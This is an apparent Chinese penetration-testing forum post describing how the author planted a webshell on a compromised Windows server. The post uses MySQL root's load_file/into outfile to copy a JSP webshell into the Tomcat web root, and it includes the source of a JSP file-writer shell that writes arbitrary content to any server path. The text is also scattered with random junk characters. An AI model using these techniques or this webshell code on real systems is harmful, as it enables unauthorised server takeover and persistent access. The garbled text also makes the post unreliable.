中国网络渗透测试联盟

标题: 解决Win下MySQL root导出Webshell换行符问题 [打印本页]

作者: admin    时间: 2013-3-8 21:52
标题: 解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
2 W1 r8 G# Y+ D. i: b. t' J' G) T# b+ g7 m* {
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php& V' C& g/ O8 ?
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
5 i/ ]( ~! D1 I0 h  x提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
, i1 N6 F- b8 }8 g6 \. O+ d' k1 show variables like '%plugin%';% m4 Q/ m  H( c" m; y+ Y4 F; j: |; b
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功0 J3 M5 z- U' X+ \0 ^0 t4 k
创建自定义函数似乎被拦截,一直失败。7 S. f9 ?5 E. P% `
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
. _9 z$ w+ G- u2 n- p测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
& H& Y- ^, k$ l* ^用mysql执行语句:
/ j3 _1 F4 T% `, C6 S1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'; ^3 Y- q  d+ Z1 Q
2 复制代码
% C; ^8 p$ t- R" ]7 a( t后成功。6 `0 Y$ ?# [6 e1 K$ @/ h
但是访问后得到如下提示:# a- J0 z' L$ T, o  ?0 e7 _1 p2 }
​500页面
; U3 a8 H4 t/ H; P) k8 k$ l  Y' r6 S) p. l+ \6 D0 f0 Z6 J- i
" r6 g8 X- C' F6 c
明显是MySQL的Win下版本自动添加转义符\n\r了3 p9 [0 F* G: X6 `$ ~! d0 J
这样导致程序运行的悲剧。
) o! B5 B- D% j1 O* @8 r: w7 H* n  L从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
6 r6 _5 S% f  J最后弄了这么个小脚本:
8 t- G0 K6 s1 B* L+ g+ z01 <%@ page language="java" pageEncoding="gbk"%>6 Y9 q! G6 g' ^+ z/ t
02 <jsp:directive.page import="java.io.File"/>
+ S0 H9 ~7 T  s# |* F4 }/ Q03 <jsp:directive.page import="java.io.OutputStream"/>9 U6 b8 V2 M, l" c
04 <jsp:directive.page import="java.io.FileOutputStream"/>
9 u- J" |0 T9 J" ?/ q- [- _05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
' V3 V" \* A& |' E  V06 error www.2cto.com
2 `- y/ z' W: I% x5 p07 <%}}if(i==0){%>
, E: }# Z9 o9 X" @/ W8 L7 T08 ok( V# g( a9 s) e5 H4 G( m- h. r/ g
09 <%}%>
% L" S3 I+ M! P' o( {$ P10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">5 @& _  i& R% w5 G) e
就可以避免转义符让JSP的马儿运行500错误了。
% q4 v* ]) W" w* X




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2